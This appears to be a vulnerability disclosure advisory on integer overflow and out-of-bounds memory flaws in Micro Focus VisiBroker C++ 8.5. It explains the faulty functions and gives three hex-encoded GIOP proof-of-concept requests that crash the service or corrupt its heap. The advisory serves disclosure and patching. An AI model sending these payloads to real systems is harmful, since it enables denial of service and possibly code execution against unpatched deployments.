Vendor Description
“VisiBroker(TM) is a comprehensive CORBA environment for developing, deploying, and managing distributed applications. Built on open industry standards and a high-performance architecture, VisiBroker is especially suited to low-latency, complex, data-oriented, transaction-intensive, mission-critical environments. Using VisiBroker(R), organizations can develop, connect, and deploy complex distributed applications that have to meet very high performance and reliability standards. With more than 30 million licenses in use, VisiBroker is the world’s most widely deployed CORBA Object Request Broker (ORB) infrastructure.”
Source: https://www.microfocus.com/products/corba/visibroker/
Business Recommendation
During a superficial fuzzing test, SEC Consult found several memory corruption vulnerabilities that allow denial of service attacks or potentially arbitrary code execution. Although the fuzzing test only had a very limited coverage, several vulnerabilities have been identified. Assuming the code quality is homogenous, it is possible that other parts of the application exhibit similar issues.
SEC Consult did not attempt to fully evaluate the potential impact of the identified vulnerabilities.
SEC Consult recommends to decommission any VisiBroker C++ component that communicates with untrusted entities until a full security audit has been performed. Moreover, SEC Consult recommends to restrict network access to all CORBA services that utilize the VisiBroker C++ environment.
Vulnerability Overview / Description
1) Integer Overflow / Out of Bounds Read (Denial of Service) [CVE-2017-9281]
By specifying a large value for a length field, an integer overflow occurs. As a result, the application reads memory until a non-mapped memory region is reached. This causes the application to encounter a segmentation fault.
2) Integer Overflow (Heap Overwrite) [CVE-2017-9282]
By specifying a manipulated value for a length field an attacker can cause an integer overflow. This causes the application to allocate too little memory. When the application attempts to write to this memory buffer, heap memory is overwritten leading to denial of service or potentially arbitrary code execution.
3) Out of Bounds Read [CVE-2017-9283]
By specifying a manipulated value for a length field, an attacker can cause the application to read past an allocated memory region.
4) Use after Free
SEC Consult found that the application under certain circumstances tries to access a memory region that has been deallocated before. It is unclear whether Micro Focus fixed the root cause of this behaviour. As the vendor was unable to reproduce the vulnerability in the current version, Micro Focus believes that the vulnerability was fixed with a previous update.
Since SEC Consult is unsure whether Micro Focus found the root cause of the vulnerability, we refrain from releasing proof of concept code.
Proof Of Concept
A service implementing the following IDL was used to identify the vulnerabilities listed here:
module Bank {
interface Account {
float balance(in string test);
};
interface AccountManager {
Account open(in string name);
};
};
The implemented service was based on the Visibroker example project “bank_agent”.
1) Integer Overflow / Out of Bounds Read (Denial of Service)
The method
CORBA_MarshalOutBuffer *__cdecl CORBA_MarshalOutBuffer::put(
CORBA_MarshalOutBuffer *this,
const char *src,
unsigned int size)
is used to copy/append a char[] into a buffer. If the size of the data that is stored in the buffer plus the size of the char[] to be appended exceeds the allocated size, the method reallocates the buffer. By choosing the size of the char[] as e.g. 0xffffffff (on 32 bit systems) an integer overflow can be caused. The method then continues without allocating additional memory.
However, the application then expects that the source buffer contains 0xffffffff bytes of memory. Since this would exceed the available process memory on 32 bit systems, the application’s attempt to copy data to the destination buffer fails with an out of bounds read.
The following binary request demonstrates this issue for the IDL above:
47494f5001020000000000860000000203000000000000000000002b00504d430000000400000010
2f62616e6b5f6167656e745f706f610000ffffff42616e6b4d616e6167657200000000056f70656e
0000000000000002000000010000000c000000000001000100010109564953060000000500070801
83000000000000000000000e4a61636b20422e20517569636b00
2) Integer Overflow (Heap Overwrite)
The method
int __cdecl CORBA::string_alloc(unsigned int size)
is used to allocate buffers for strings. Since it allocates size + 1 bytes of heap memory, specifying 0xffffffff causes an integer overflow leading to the allocation of 0 bytes. This causes heap memory to be overwritten.
SEC Consult was able to use the following request to cause corruption of heap structures:
47494f5001020000000000860000000203000000000000000000002b00504d430000000400000010
2f62616e6b5f6167656e745f706f61000000000b42616e6b4d616e6167657200000000056f70656e
0000000000000002000000010000000c000000000001000100010109564953060000000500070801
8300000000000000ffffffff4a61636b20422e20517569636b00
3) Out of Bounds Read
The constructor
int __cdecl VISServiceId::VISServiceId(
VISServiceId *this,
CORBA_MarshalInBuffer *a2,
unsigned __int32 a3,
unsigned __int8 *a4)
parses the GIOP key address. The VisiBroker key address consists of two strings. Before each string, a long (32 bit) value specifies the length of the string. To calculate the offset of the second string, the size of the first string is used. If this value is chosen so that the offset of the second string is outside of the GIOP message, an out of bounds read occurs.
The following binary request demonstrates this issue for the IDL above:
47494f5001020000000000860000000203000000000000000000002b00504d430000000480000000
2f62616e6b5f6167656e745f706f61000000000b42616e6b4d616e6167657200000000056f70656e
0000000000000002000000010000000c000000000001000100010109564953060000000500070801
83000000000000000000000e4a61636b20422e20517569636b00
4) Use after Free / Denial of Service
Micro Focus did not clearly state that the root cause of the vulnerability has been fixed. As a precaution we refrain from releasing proof of concept code.
VULNERABLE / TESTED VERSIONS
At least VisiBroker C++ 8.5 SP2 has been found to be vulnerable. According to the vendor VisiBroker 8.5 prior to SP4 HF3 are vulnerable to issues #1 – #3.